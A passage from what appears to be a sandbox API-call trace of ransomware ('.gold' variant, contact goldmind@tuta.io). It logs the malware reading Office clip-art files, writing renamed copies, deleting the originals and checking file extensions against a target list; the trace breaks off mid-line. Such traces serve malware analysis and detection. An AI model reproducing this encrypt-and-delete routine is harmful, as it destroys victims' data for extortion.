CloseHandle (hObject=0x230) returned 1 [0109.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf")) returned 1 [0109.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0109.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0109.669] lstrlenW (lpString=".doc") returned 4 [0109.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.669] lstrlenW (lpString=".docx") returned 5 [0109.669] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.669] lstrlenW (lpString=".pdf") returned 4 [0109.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.669] lstrlenW (lpString=".xls") returned 4 [0109.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.669] lstrlenW (lpString=".xlsx") returned 5 [0109.669] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.669] lstrlenW (lpString=".ppt") returned 4 [0109.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0109.670] lstrlenW (lpString=".zip") returned 4 [0109.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.670] lstrlenW (lpString=".rar") returned 4 [0109.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.670] lstrlenW (lpString=".bz2") returned 4 [0109.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.670] lstrlenW (lpString=".7z") returned 3 [0109.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0109.670] lstrlenW (lpString=".dbf") returned 4 [0109.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0109.670] lstrlenW (lpString=".1cd") returned 4 [0109.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0109.670] lstrlenW (lpString=".jpg") returned 4 [0109.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0109.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0109.670] lstrlenW (lpString=".doc") returned 4 [0109.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.670] lstrlenW (lpString=".docx") returned 5 [0109.670] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.670] lstrlenW (lpString=".pdf") returned 4 [0109.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.670] lstrlenW (lpString=".xls") returned 4 [0109.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.670] lstrlenW (lpString=".xlsx") returned 5 [0109.670] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.670] lstrlenW (lpString=".ppt") returned 4 [0109.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0109.670] lstrlenW (lpString=".zip") returned 4 [0109.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.670] lstrlenW (lpString=".rar") returned 4 [0109.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.670] lstrlenW (lpString=".bz2") returned 4 [0109.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.670] lstrlenW (lpString=".7z") returned 3 [0109.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0109.670] lstrlenW (lpString=".dbf") returned 4 [0109.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0109.670] lstrlenW (lpString=".1cd") returned 4 [0109.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0109.670] lstrlenW (lpString=".jpg") returned 4 [0109.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.671] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.671] lstrlenW (lpString="J0152594.WMF") returned 12 [0109.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.671] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=6340) returned 1 [0109.671] CloseHandle (hObject=0x230) returned 1 [0109.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf")) returned 0x20 [0109.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.672] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.672] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0109.674] GetLastError () returned 0x0 [0109.674] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x18c4, lpOverlapped=0x0) returned 1 [0109.676] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x18d0, lpOverlapped=0x0) returned 1 [0109.676] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.676] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.676] SetEndOfFile (hFile=0x3ac) returned 1 [0109.677] CloseHandle (hObject=0x3ac) returned 1 [0109.677] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.677] SetEndOfFile (hFile=0x230) returned 1 [0109.821] CloseHandle (hObject=0x230) returned 1 [0109.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf")) returned 1 [0109.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0109.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0109.876] lstrlenW (lpString=".doc") returned 4 [0109.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.876] lstrlenW (lpString=".docx") returned 5 [0109.876] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0109.876] lstrlenW (lpString=".pdf") returned 4 [0109.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.876] lstrlenW (lpString=".xls") returned 4 [0109.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.876] lstrlenW (lpString=".xlsx") returned 5 [0109.876] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0109.876] lstrlenW (lpString=".ppt") returned 4 [0109.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0109.876] lstrlenW (lpString=".zip") returned 4 [0109.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.876] lstrlenW (lpString=".rar") returned 4 [0109.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.876] lstrlenW (lpString=".bz2") returned 4 [0109.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.876] lstrlenW (lpString=".7z") returned 3 [0109.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0109.876] lstrlenW (lpString=".dbf") returned 4 [0109.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0109.876] lstrlenW (lpString=".1cd") returned 4 [0109.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0109.876] lstrlenW (lpString=".jpg") returned 4 [0109.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0109.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0109.876] lstrlenW (lpString=".doc") returned 4 [0109.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.876] lstrlenW (lpString=".docx") returned 5 [0109.876] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0109.876] lstrlenW (lpString=".pdf") returned 4 [0109.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.876] lstrlenW (lpString=".xls") returned 4 [0109.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.877] lstrlenW (lpString=".xlsx") returned 5 [0109.877] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0109.877] lstrlenW (lpString=".ppt") returned 4 [0109.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0109.877] lstrlenW (lpString=".zip") returned 4 [0109.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.877] lstrlenW (lpString=".rar") returned 4 [0109.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.877] lstrlenW (lpString=".bz2") returned 4 [0109.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.877] lstrlenW (lpString=".7z") returned 3 [0109.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0109.877] lstrlenW (lpString=".dbf") returned 4 [0109.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0109.877] lstrlenW (lpString=".1cd") returned 4 [0109.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0109.877] lstrlenW (lpString=".jpg") returned 4 [0109.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.877] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.877] lstrlenW (lpString="J0152696.WMF") returned 12 [0109.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0109.886] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=7320) returned 1 [0109.886] CloseHandle (hObject=0x3a8) returned 1 [0109.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf")) returned 0x20 [0109.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.995] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.995] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.002] GetLastError () returned 0x0 [0110.002] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1c98, lpOverlapped=0x0) returned 1 [0110.004] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1ca0, lpOverlapped=0x0) returned 1 [0110.005] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.005] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.005] SetEndOfFile (hFile=0x3c4) returned 1 [0110.005] CloseHandle (hObject=0x3c4) returned 1 [0110.005] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.005] SetEndOfFile (hFile=0x38c) returned 1 [0110.007] CloseHandle (hObject=0x38c) returned 1 [0110.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf")) returned 1 [0110.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0110.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0110.008] lstrlenW (lpString=".doc") returned 4 [0110.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.008] lstrlenW (lpString=".docx") returned 5 [0110.008] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0110.008] lstrlenW (lpString=".pdf") returned 4 [0110.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.008] lstrlenW (lpString=".xls") returned 4 [0110.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.008] lstrlenW (lpString=".xlsx") returned 5 [0110.008] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0110.008] lstrlenW (lpString=".ppt") returned 4 [0110.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0110.008] lstrlenW (lpString=".zip") returned 4 [0110.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.008] lstrlenW (lpString=".rar") returned 4 [0110.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.008] lstrlenW (lpString=".bz2") returned 4 [0110.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.008] lstrlenW (lpString=".7z") returned 3 [0110.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0110.008] lstrlenW (lpString=".dbf") returned 4 [0110.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0110.009] lstrlenW (lpString=".1cd") returned 4 [0110.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0110.009] lstrlenW (lpString=".jpg") returned 4 [0110.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0110.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0110.009] lstrlenW (lpString=".doc") returned 4 [0110.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.009] lstrlenW (lpString=".docx") returned 5 [0110.009] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0110.009] lstrlenW (lpString=".pdf") returned 4 [0110.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.009] lstrlenW (lpString=".xls") returned 4 [0110.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.009] lstrlenW (lpString=".xlsx") returned 5 [0110.009] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0110.009] lstrlenW (lpString=".ppt") returned 4 [0110.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0110.009] lstrlenW (lpString=".zip") returned 4 [0110.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.009] lstrlenW (lpString=".rar") returned 4 [0110.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.009] lstrlenW (lpString=".bz2") returned 4 [0110.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.009] lstrlenW (lpString=".7z") returned 3 [0110.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0110.009] lstrlenW (lpString=".dbf") returned 4 [0110.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0110.009] lstrlenW (lpString=".1cd") returned 4 [0110.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0110.009] lstrlenW (lpString=".jpg") returned 4 [0110.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.009] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.009] lstrlenW (lpString="J0152704.WMF") returned 12 [0110.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0110.010] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1652) returned 1 [0110.010] CloseHandle (hObject=0x38c) returned 1 [0110.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf")) returned 0x20 [0110.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0110.010] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.010] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.011] GetLastError () returned 0x0 [0110.011] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x674, lpOverlapped=0x0) returned 1 [0110.012] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x680, lpOverlapped=0x0) returned 1 [0110.013] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.013] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.013] SetEndOfFile (hFile=0x3c4) returned 1 [0110.013] CloseHandle (hObject=0x3c4) returned 1 [0110.013] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.013] SetEndOfFile (hFile=0x38c) returned 1 [0110.015] CloseHandle (hObject=0x38c) returned 1 [0110.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.015] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf")) returned 1 [0110.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0110.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0110.016] lstrlenW (lpString=".doc") returned 4 [0110.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.016] lstrlenW (lpString=".docx") returned 5 [0110.016] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0110.016] lstrlenW (lpString=".pdf") returned 